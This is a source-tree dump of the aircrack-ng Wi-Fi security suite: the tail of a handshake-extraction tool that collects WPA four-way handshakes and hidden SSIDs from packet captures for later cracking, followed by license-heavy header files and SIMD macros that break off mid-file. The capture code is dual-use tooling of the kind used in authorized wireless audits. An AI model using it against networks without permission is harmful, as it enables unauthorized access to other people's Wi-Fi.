assert((n->n_beaconlen + ssidlen) <= (int) sizeof(n->n_beacon)); assert(*p == IEEE80211_ELEMID_SSID); p++; if (*p != 0 && p[1] != 0) return; origlen = *p; *p++ = ssidlen; assert(origlen == 0 || p[0] == 0); memmove(p + ssidlen, p + origlen, n->n_beaconlen - (p + origlen - n->n_beacon)); memcpy(p, n->n_ssid, ssidlen); n->n_beaconlen += ssidlen - origlen; } static void check_network(struct network *n) { if (!n->n_beaconlen || !n->n_handshake || !n->n_ssid[0]) return; fix_beacon(n); print_network(n); save_network(n); } static struct network *find_net(unsigned char *b) { struct network *n = _networks.n_next; while (n) { if (memcmp(b, n->n_bssid, sizeof(n->n_bssid)) == 0) return n; n = n->n_next; } return NULL; } static struct network *net_add(unsigned char *bssid) { struct network *n = malloc(sizeof(*n)); if (!n) err(1, "malloc()"); memset(n, 0, sizeof(*n)); memcpy(n->n_bssid, bssid, sizeof(n->n_bssid)); n->n_next = _networks.n_next; _networks.n_next = n; return n; } static struct network *find_add_net(unsigned char *bssid) { struct network *n; n = find_net(bssid); if (n) return n; return net_add(bssid); } static struct client *find_client(struct network *n, unsigned char *mac) { struct client *c = n->n_clients.c_next; while (c) { if (memcmp(c->c_mac, mac, sizeof(c->c_mac)) == 0) return c; c = c->c_next; } return NULL; } static struct client *find_add_client(struct network *n, unsigned char *mac) { struct client *c; c = find_client(n, mac); if (c) return c; c = malloc(sizeof(*c)); if (!c) err(1, "malloc()"); memset(c, 0, sizeof(*c)); memcpy(c->c_mac, mac, sizeof(c->c_mac)); c->c_next = n->n_clients.c_next; n->n_clients.c_next = c; return c; } #if 0 static void hexdump(void *p, int len) { unsigned char *x = p; while (len--) printf("%.2x ", *x++); printf("\n"); } #endif static int parse_rsn(unsigned char *p, int l, int rsn) { int c; unsigned char *start = p; int psk = 0; int wpa = 0; if (l < 2) return 0; if (memcmp(p, "\x01\x00", 2) != 0) return 0; wpa = 1; if (l < 8) return -1; p += 2; p += 4; /* cipher */ c = le16toh(*((uint16_t*) p)); p += 2 + 4 * c; if (l < ((p - start) + 2)) return -1; /* auth */ c = le16toh(*((uint16_t*) p)); p += 2; if (l < ((p - start) + c * 4)) return -1; while (c--) { if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk++; if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk++; p += 4; } assert(l >= (p - start)); if (!psk) wpa = 0; return wpa; } static int parse_elem_vendor(unsigned char *e, int l) { struct ieee80211_ie_wpa *wpa = (struct ieee80211_ie_wpa*) e; if (l < 5) return 0; if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0; if (l < 8) return 0; if (wpa->wpa_type != WPA_OUI_TYPE) return 0; return parse_rsn((unsigned char*) &wpa->wpa_version, l - 6, 0); } static void process_beacon(struct ieee80211_frame *wh, int totlen) { unsigned char *p = (unsigned char*) (wh + 1); int bhlen = 8 + 2 + 2; int len = totlen; char ssid[256]; int wpa = 0; int rc; int ssids = 0; int hidden = 0; struct network *n; totlen -= sizeof(*wh); if (totlen < bhlen) goto __bad; if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return; p += bhlen; totlen -= bhlen; ssid[0] = 0; while (totlen > 2) { int id = *p++; int l = *p++; totlen -= 2; if (totlen < l) goto __bad; switch (id) { case IEEE80211_ELEMID_SSID: if (++ssids > 1) break; if (l == 0 || p[0] == 0) hidden = 1; else { memcpy(ssid, p, l); ssid[l] = 0; } break; case IEEE80211_ELEMID_VENDOR: if ((rc = parse_elem_vendor(&p[-2], l + 2)) == -1) goto __bad; if (rc) wpa = 1; break; case IEEE80211_ELEMID_RSN: if ((rc = parse_rsn(p, l, 1)) == -1) goto __bad; if (rc) wpa = 1; break; } p += l; totlen -= l; } if (!wpa) return; #if 0 if (hidden) { printf("Hidden SSID\n"); return; } #endif n = find_add_net(wh->i_addr3); if (n->n_beaconlen) return; n->n_beaconlen = len; assert(n->n_beaconlen <= (int) sizeof(n->n_beacon)); memcpy(n->n_beacon, wh, n->n_beaconlen); strncpy(n->n_ssid, ssid, sizeof(n->n_ssid)); (n->n_ssid)[sizeof(n->n_ssid)-1] = '\0'; #if 0 printf("got beacon [%s]\n", n->n_ssid); #endif check_network(n); return; __bad: printf("bad beacon\n"); } static int eapol_handshake_step(unsigned char *eapol, int len) { int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2; if (len < eapol_size) return 0; /* not pairwise */ if ((eapol[6] & 0x08) == 0) return 0; /* 1: has no mic */ if ((eapol[5] & 1) == 0) return 1; /* 3: has ack */ if ((eapol[6] & 0x80) != 0) return 3; if (*((uint16_t*) &eapol[eapol_size - 2]) == 0) return 4; return 2; } static void packet_copy(struct packet *p, void *d, int len) { assert(len <= (int) sizeof(p->p_data)); p->p_len = len; memcpy(p->p_data, d, len); } static void process_eapol(struct network *n, struct client *c, unsigned char *p, int len, struct ieee80211_frame *wh, int totlen) { int num, i; num = eapol_handshake_step(p, len); if (num == 0) return; /* reset... should use time, too. XXX conservative - check retry */ if (c->c_wpa == 0 || num <= c->c_wpa) { for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0; c->c_wpa_got = 0; } c->c_wpa = num; switch (num) { case 1: c->c_wpa_got |= 1; break; case 2: c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; case 3: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1; c->c_wpa_got |= 4; break; case 4: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; default: abort(); } packet_copy(&c->c_handshake[num - 1], wh, totlen); if (c->c_wpa_got == 7) n->n_handshake = c; } static void process_data(struct ieee80211_frame *wh, int len) { unsigned char *p = (unsigned char*) (wh + 1); struct llc* llc; int wep = wh->i_fc[1] & IEEE80211_FC1_WEP; int eapol = 0; struct client *c; int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; int orig = len; unsigned char *bssid, *clientaddr; struct network *n; len -= sizeof(*wh); if (stype == IEEE80211_FC0_SUBTYPE_QOS) { p += 2; len -= 2; } if (!wep && len >= 8) { llc = (struct llc*) p; eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0; p += 8; len -= 8; } if (!eapol) return; if (len < 5) return; /* type == key */ if (p[1] != 0x03) return; /* desc == WPA or RSN */ if (p[4] != 0xFE && p[4] != 0x02) return; bssid = wh->i_addr1; clientaddr = wh->i_addr2; if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { bssid = wh->i_addr2; clientaddr = wh->i_addr1; } else if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)) bssid = wh->i_addr3; /* IBSS */ n = find_add_net(bssid); if (n->n_handshake) return; c = find_add_client(n, clientaddr); process_eapol(n, c, p, len, wh, orig); if (n->n_handshake) check_network(n); } static void grab_hidden_ssid(unsigned char *bssid, struct ieee80211_frame *wh, int len, int off) { struct network *n; unsigned char *p = ((unsigned char *)(wh + 1)) + off; int l; n = find_net(bssid); if (n && n->n_ssid[0]) return; len -= sizeof(*wh) + off + 2; if (len < 0) goto __bad; if (*p++ != IEEE80211_ELEMID_SSID) goto __bad; l = *p++; if (l > len) goto __bad; if (l == 0) return; if (!n) n = net_add(bssid); memcpy(n->n_ssid, p, l); n->n_ssid[l] = 0; check_network(n); return; __bad: printf("bad grab_hidden_ssid\n"); return; } static void process_packet(void *packet, int len) { struct ieee80211_frame *wh = (struct ieee80211_frame*) packet; #if 0 printf("GOT %d\n", len); hexdump(packet, len); #endif if (len < (int) sizeof(*wh)) return; switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: process_beacon(wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: grab_hidden_ssid(wh->i_addr3, wh, len, 2 + 2); break; case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: grab_hidden_ssid(wh->i_addr3, wh, len, 2 + 2 + 6); break; case IEEE80211_FC0_SUBTYPE_PROBE_RESP: grab_hidden_ssid(wh->i_addr3, wh, len, 8 + 2 + 2); break; } break; case IEEE80211_FC0_TYPE_DATA: process_data(wh, len); break; } } static void pwn(char *fname) { struct wif *wi; char crap[2048]; int rc; snprintf(crap, sizeof(crap), "file://%s", fname); wi = wi_open(crap); if (!wi) { printf("Bad file - skipping %s\n", fname); return; } while ((rc = wi_read(wi, (unsigned char*) crap, sizeof(crap), NULL)) > 0) process_packet(crap, rc); wi_close(wi); } int main(int argc, char *argv[]) { char *out; int i; if (argc < 3) { printf("Usage: %s [in2.cap] [...]\n", argv[0]); exit(1); } out = argv[1]; _outfd = open_pcap(out); for (i = 2; i < argc; i++) { char *in = argv[i]; int prog = (int) (((double) (i - 1)) / ((double)(argc - 2)) #if defined(__x86_64__) && defined(__CYGWIN__) * (0.0f + 100)); #else * 100.0); #endif printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog); fflush(stdout); pwn(in); } printf("Done\n"); exit(0); } aircrack-ng-1.2-rc4/src/aligned.h0000644000000000000000000000510512640667310015272 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software was written by JimF jfoug AT cox dot net * in 2013. No copyright is claimed, and the software is hereby * placed in the public domain. In case this attempt to disclaim * copyright and place the software in the public domain is deemed * null and void, then the software is Copyright (c) 2013 JimF * and it is hereby released to the general public under the following * terms: This software may be modified, redistributed, and used for any * purpose, in source and binary forms, with or without modification. */ #ifndef _ALIGNED_H_ #define _ALIGNED_H_ #if defined(__GNUC__) #define JTR_ALIGN(n) __attribute__ ((aligned(n))) #elif defined(_MSC_VER) #define JTR_ALIGN(n) __declspec(align(n)) #else #define JTR_ALIGN(n) #endif #endif aircrack-ng-1.2-rc4/src/md5.h0000644000000000000000000000520612640667310014356 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This is an OpenSSL-compatible implementation of the RSA Data Security, * Inc. MD5 Message-Digest Algorithm (RFC 1321). * * Written by Solar Designer in 2001, and placed * in the public domain. There's absolutely no warranty. * * See md5.c for more information. * * This file has been modified in the JtR jumbo patch. * If you reuse the code for another purpose, please download the original from: * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5 */ #if !defined(_MD5_H) #define _MD5_H /* Any 32-bit or wider unsigned integer data type will do */ /* this needs to be defined no matter if building with HAVE_LIBSSL or not */ typedef unsigned int MD5_u32plus; #include "arch.h" #ifdef SIMD_PARA_MD5 #include #endif #endif /* _MD5_H */ aircrack-ng-1.2-rc4/src/uniqueiv.h0000644000000000000000000000437711736423715015552 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2007-2012 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _UNIQUEIV_H #define _UNIQUEIV_H #define IV_NOTHERE 0 #define IV_PRESENT 1 /* select byte within which desired bit is located */ #define BITWISE_OFFT(x) (x >> 3) /* mask to extract desired bit */ #define BITWISE_MASK(x) (1 << (x & 7)) unsigned char **uniqueiv_init( void ); int uniqueiv_mark( unsigned char **uiv_root, unsigned char IV[3] ); int uniqueiv_check( unsigned char **uiv_root, unsigned char IV[3] ); void uniqueiv_wipe( unsigned char **uiv_root ); #define NO_CLOAKING 0 #define CLOAKING 1 unsigned char *data_init( void ); int data_check(unsigned char *data_root, unsigned char IV[3], unsigned char data[2]); void data_wipe(unsigned char * data); #endif aircrack-ng-1.2-rc4/src/linecount.h0000644000000000000000000000340112632700304015654 0ustar rootroot/* * High speed wordcounting header * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef LINECOUNT_H #define LINECOUNT_H #ifdef __cplusplus #define EXTERNC extern "C" #else #define EXTERNC #endif EXTERNC unsigned int linecount(const char *file, off_t offset, size_t blksize); #define READBUF_BLKSIZE (1024*1024*3) #endif /* LINECOUNT_H */ aircrack-ng-1.2-rc4/src/pseudo_intrinsics.h0000644000000000000000000006451512640667310017445 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * Minimalistic pseudo-instrinsics for width-agnostic x86 SIMD code. * * This software is Copyright (c) 2015 magnum, * Copyright (c) 2015 JimF, * Copyright (c) 2015 Lei Zhang, * and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * Synopsis: * * SSE2: __m128i a = _mm_add_epi32(b, c); * AVX2: __m256i a = _mm256_add_epi32(b, c); * AVX512: __m512i a = _mm512_add_epi32(b, c); * -> Pseudo: vtype a = vadd_epi32(b, c); * * SSE2: __m128i a = _mm_load_si128(p); * AVX2: __m256i a = _mm256_load_si256(p); * AVX512: __m512i a = _mm512_load_si512(p); * -> Pseudo: vtype a = vload(p); * * intrinsics are emulated where the target does not support them. */ #ifndef _SSE_PSEUDO_H #define _SSE_PSEUDO_H #include "arch.h" #if SIMD_COEF_32 #include "aligned.h" #include "stdint.h" #include "jcommon.h" /* for is_aligned() */ /*************************** NEON (ARM) *******************************/ #ifdef __ARM_NEON__ #include typedef uint8x16_t vtype8; typedef uint32x4_t vtype; /* the default one */ typedef uint64x2_t vtype64; #define vadd_epi32 vaddq_u32 #define vadd_epi64(x, y) (vtype)vaddq_u64((vtype64)(x), (vtype64)(y)) #define vand vandq_u32 #define vandnot(x, y) vbicq_u32(y, x) #define vcmov(x, y, z) vbslq_u32(z, x, y) #define vload(m) vld1q_u32((uint32_t*)(m)) #define vloadu vloadu_emu #define VLOADU_EMULATED 1 #define vor vorrq_u32 #define vorn vornq_u32 #define vroti_epi32(x, i) (i > 0 ? vsliq_n_u32(vshrq_n_u32(x, 32-(i)), x, i) : \ vsriq_n_u32(vshlq_n_u32(x, 32+(i)), x, -(i))) #define vroti_epi64(x, i) (i > 0 ? (vtype)vsliq_n_u64(vshrq_n_u64((vtype64)(x), 64-(i)), (vtype64)(x), i) : \ (vtype)vsriq_n_u64(vshlq_n_u64((vtype64)(x), 64+(i)), (vtype64)(x), -(i))) #define vroti16_epi32 vroti_epi32 #define vset1_epi32(x) vdupq_n_u32(x) #define vset1_epi64(x) (vtype)vdupq_n_u64(x) #define vset_epi32(x3,x2,x1,x0) vcombine_u32(vcreate_u32(((uint64_t)(x1) << 32) | x0), vcreate_u32(((uint64_t)(x3) << 32) | x2)) #define vset_epi64(x1,x0) (vtype)vcombine_u64(vcreate_u64(x0), vcreate_u64(x1)) #define vsetzero() vset1_epi32(0) #define vslli_epi32(x, i) vshlq_n_u32(x, i) #define vslli_epi64(x, i) (vtype)vshlq_n_u64((vtype64)(x), i) #define vsrli_epi32(x, i) vshrq_n_u32(x, i) #define vsrli_epi64(x, i) (vtype)vshrq_n_u64((vtype64)(x), i) #define vstore(m, x) vst1q_u32((uint32_t*)(m), x) #define vstoreu vstoreu_emu #define VSTOREU_EMULATED 1 #define vunpackhi_epi32(x, y) (vzipq_u32(x, y)).val[1] #define vunpackhi_epi64(x, y) vset_epi64(vgetq_lane_u64((vtype64)(y), 1), vgetq_lane_u64((vtype64)(x), 1)) #define vunpacklo_epi32(x, y) (vzipq_u32(x, y)).val[0] #define vunpacklo_epi64(x, y) vset_epi64(vgetq_lane_u64((vtype64)(y), 0), vgetq_lane_u64((vtype64)(x), 0)) #define vxor veorq_u32 static inline int vanyeq_epi32(vtype x, vtype y) { vtype z = vceqq_u32(x, y); return vgetq_lane_u32(z, 0) || vgetq_lane_u32(z, 1) || vgetq_lane_u32(z, 2) || vgetq_lane_u32(z, 3); } #define vswap32(x) (x = (vtype)vrev32q_u8((vtype8)x)) #define vswap64(x) (x = (vtype)vrev64q_u8((vtype8)x)) #define GATHER64(x,y,z) { x = vset_epi64 (y[1][z], y[0][z]); } /*************************** AltiVec (Power) **************************/ #elif __ALTIVEC__ #include typedef vector unsigned int vtype32; typedef vector unsigned long vtype64; typedef union { vtype32 v32; vtype64 v64; uint32_t s32[SIMD_COEF_32]; uint64_t s64[SIMD_COEF_64]; } vtype; #define vadd_epi32(x, y) (vtype)vec_add((x).v32, (y).v32) #define vadd_epi64(x, y) (vtype)vec_add((x).v64, (y).v64) #define vand(x, y) (vtype)vec_and((x).v32, (y).v32) #define vandnot(x, y) (vtype)vec_andc((y).v32, (x).v32) #define vcmov(x, y, z) (vtype)vec_sel((y).v32, (x).v32, (z).v32) #define vload(m) (vtype)(vtype32)vec_ld(0, (uint32_t*)(m)) #define vloadu vloadu_emu #define VLOADU_EMULATED 1 #define vor(x, y) (vtype)vec_or((x).v32, (y).v32) #define vroti_epi32(x, i) (vtype)vec_rl((x).v32, (vset1_epi32(i)).v32) #define vroti_epi64(x, i) (vtype)vec_rl((x).v64, (vset1_epi64(i)).v64) #define vroti16_epi32 vroti_epi32 #define vset1_epi32(x) vset_epi32(x, x, x, x) #define vset1_epi64(x) vset_epi64(x, x) #define vset_epi32(x3,x2,x1,x0) (vtype)(vtype32){x0, x1, x2, x3} #define vset_epi64(x1,x0) (vtype)(vtype64){x0, x1} #define vsetzero() vset1_epi32(0) #define vslli_epi32(x, i) (vtype)vec_sl((x).v32, (vset1_epi32(i)).v32) #define vslli_epi64(x, i) (vtype)vec_sl((x).v64, (vset1_epi64(i)).v64) #define vsrli_epi32(x, i) (vtype)vec_sr((x).v32, (vset1_epi32(i)).v32) #define vsrli_epi64(x, i) (vtype)vec_sr((x).v64, (vset1_epi64(i)).v64) #define vstore(m, x) vec_st((x).v32, 0, (uint32_t*)(m)) #define vstoreu vstoreu_emu #define VSTOREU_EMULATED 1 #define vunpackhi_epi32(x, y) (vtype)vec_mergel((x).v32, (y).v32) #define vunpackhi_epi64(x, y) (vtype)(vtype64)vec_mergel((vector long)(x).v64, (vector long)(y).v64) #define vunpacklo_epi32(x, y) (vtype)vec_mergeh((x).v32, (y).v32) #define vunpacklo_epi64(x, y) (vtype)(vtype64)vec_mergeh((vector long)(x).v64, (vector long)(y).v64) #define vxor(x, y) (vtype)vec_xor((x).v32, (y).v32) #define vanyeq_epi32(x, y) vec_any_eq((x).v32, (y).v32) #define vswap32 vswap32_emu #define vswap64 vswap64_emu #define GATHER64(x,y,z) { x = vset_epi64 (y[1][z], y[0][z]); } /*************************** AVX512 and MIC ***************************/ #elif __AVX512F__ || __MIC__ #include typedef __m512i vtype; #define vadd_epi32 _mm512_add_epi32 #define vadd_epi64 _mm512_add_epi64 #define vand _mm512_and_si512 #define vandnot _mm512_andnot_si512 #define vcmov vcmov_emu #define VCMOV_EMULATED 1 /* * NOTE: AVX2 has it as (base, index, scale) while MIC and AVX512 are * different. */ #define vgather_epi32(b, i, s) _mm512_i32gather_epi32(i, (void*)(b), s) #define vgather_epi64(b, i, s) _mm512_i64gather_epi64(i, (void*)(b), s) #define vload(x) _mm512_load_si512((void*)(x)) #define vloadu(x) _mm512_loadu_si512((void*)(x)) #define vor _mm512_or_si512 #define vroti_epi32 vroti_epi32_emu #define vroti_epi64 vroti_epi64_emu #define vroti16_epi32 vroti_epi32 #define vscatter_epi32(b,i,v,s) _mm512_i32scatter_epi32((void*)b, i, v, s) #define vscatter_epi64(b,i,v,s) _mm512_i64scatter_epi64((void*)b, i, v, s) #define vset1_epi8 _mm512_set1_epi8 #define vset1_epi32 _mm512_set1_epi32 #define vset1_epi64 _mm512_set1_epi64 #define vset_epi32 _mm512_set_epi32 #define vset_epi64 _mm512_set_epi64 #define vsetzero _mm512_setzero_si512 #define vshuffle_epi32 _mm512_shuffle_epi32 #define vslli_epi32 _mm512_slli_epi32 #define vslli_epi64 _mm512_slli_epi64 #define vsrli_epi32 _mm512_srli_epi32 #define vsrli_epi64 _mm512_srli_epi64 #define vstore(x, y) _mm512_store_si512((void*)(x), y) #define vstoreu(x, y) _mm512_storeu_si512((void*)(x), y) #define vunpackhi_epi32 _mm512_unpackhi_epi32 #define vunpackhi_epi64 _mm512_unpackhi_epi64 #define vunpacklo_epi32 _mm512_unpacklo_epi32 #define vunpacklo_epi64 _mm512_unpacklo_epi64 #define vxor _mm512_xor_si512 #define vanyeq_epi32(x, y) _mm512_cmp_epi32_mask(x, y, _MM_CMPINT_EQ) #define GATHER_4x(x, y, z) \ { \ vtype indices = vset_epi32(15<<6,14<<6,13<<6,12<<6, \ 11<<6,10<<6, 9<<6, 8<<6, \ 7<<6, 6<<6, 5<<6, 4<<6, \ 3<<6, 2<<6, 1<<6, 0<<6); \ x = vgather_epi32(&y[z], indices, sizeof(y[z])); \ } #define GATHER_2x(x, y, z) \ { \ vtype indices = vset_epi32(15<<5,14<<5,13<<5,12<<5, \ 11<<5,10<<5, 9<<5, 8<<5, \ 7<<5, 6<<5, 5<<5, 4<<5, \ 3<<5, 2<<5, 1<<5, 0<<5); \ x = vgather_epi32(&y[z], indices, sizeof(y[z])); \ } #define GATHER(x, y, z) \ { \ vtype indices = vset_epi32(15<<4,14<<4,13<<4,12<<4, \ 11<<4,10<<4, 9<<4, 8<<4, \ 7<<4, 6<<4, 5<<4, 4<<4, \ 3<<4, 2<<4, 1<<4, 0<<4); \ x = vgather_epi32(&y[z], indices, sizeof(y[z])); \ } #define GATHER64(x, y, z) \ { \ uint64_t stride = sizeof(*y); \ vtype indices = vset_epi64(7*stride, 6*stride, 5*stride, 4*stride, \ 3*stride, 2*stride, 1*stride, 0); \ x = vgather_epi64(&y[0][z], indices, 1); \ } #if __AVX512F__ #undef vcmov #undef VCMOV_EMULATED #define vcmov(x, y, z) vternarylogic(x, y, z, 0xE4) #define vternarylogic _mm512_ternarylogic_epi32 #endif #if __AVX512BW__ #define vcmpeq_epi8_mask (uint64_t)_mm512_cmpeq_epi8_mask #define vshuffle_epi8 _mm512_shuffle_epi8 #define vshufflehi_epi16 _mm512_shufflehi_epi16 #define vshufflelo_epi16 _mm512_shufflelo_epi16 #define vslli_epi16 _mm512_slli_epi16 #define vsrli_epi16 _mm512_srli_epi16 #define vswap32(n) \ n = vshuffle_epi8(n, vset_epi32(0x3c3d3e3f, 0x38393a3b, \ 0x34353637, 0x30313233, \ 0x2c2d2e2f, 0x28292a2b, \ 0x24252627, 0x20212223, \ 0x1c1d1e1f, 0x18191a1b, \ 0x14151617, 0x10111213, \ 0x0c0d0e0f, 0x08090a0b, \ 0x04050607, 0x00010203)) #define vswap64(n) \ n = vshuffle_epi8(n, vset_epi64(0x38393a3b3c3d3e3fULL, \ 0x3031323334353637ULL, \ 0x28292a2b2c2d2e2fULL, \ 0x2021222324252627ULL, \ 0x18191a1b1c1d1e1fULL, \ 0x1011121314151617ULL, \ 0x08090a0b0c0d0e0fULL, \ 0x0001020304050607ULL)) #else /* workarounds without AVX512BW */ #define vswap32 vswap32_emu #define vswap64(x) \ (x = vshuffle_epi32(x, _MM_SHUFFLE(2, 3, 0, 1)), vswap32(x)) #endif /* __AVX512BW__ */ /* MIC lacks some intrinsics in AVX512F, thus needing emulation. */ #if __MIC__ #define _mm512_set1_epi8(x) _mm512_set1_epi32(x | x<<8 | x<<16 | x<<24) static inline __m512i _mm512_loadu_si512(void const *addr) { __m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0); return is_aligned(addr, 64) ? _mm512_load_si512(addr) : _mm512_i64gather_epi64(indices, addr, 8); } static inline void _mm512_storeu_si512(void *addr, vtype d) { __m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0); if (is_aligned(addr, 64)) _mm512_store_si512(addr, d); else _mm512_i64scatter_epi64(addr, indices, d, 8); } #endif /* __MIC__ */ /******************************** AVX2 ********************************/ #elif __AVX2__ #include typedef __m256i vtype; #define vadd_epi32 _mm256_add_epi32 #define vadd_epi64 _mm256_add_epi64 #define vand _mm256_and_si256 #define vandnot _mm256_andnot_si256 #define vcmov vcmov_emu #define VCMOV_EMULATED 1 #define vcmpeq_epi8_mask(a, b) _mm256_movemask_epi8(_mm256_cmpeq_epi8(a, b)) #define vcmpeq_epi32 _mm256_cmpeq_epi32 #define vcvtsi32 _mm256_cvtsi32_si256 #define vgather_epi32(b, i, s) _mm256_i32gather_epi32((void*)(b), i, s) #define vgather_epi64(b, i, s) _mm256_i64gather_epi64((void*)(b), i, s) #define vinsert_epi32 _mm256_insert_epi32 #define vload(x) _mm256_load_si256((void*)(x)) #define vloadu(x) _mm256_loadu_si256((void*)(x)) #define vmovemask_epi8 _mm256_movemask_epi8 #define vor _mm256_or_si256 #define vpermute2x128 _mm256_permute2x128_si256 #define vpermute4x64_epi64 _mm256_permute4x64_epi64 #define vroti_epi32 vroti_epi32_emu #define vroti_epi64 vroti_epi64_emu #define vroti16_epi32 vroti_epi32 #define vset1_epi8 _mm256_set1_epi8 #define vset1_epi32 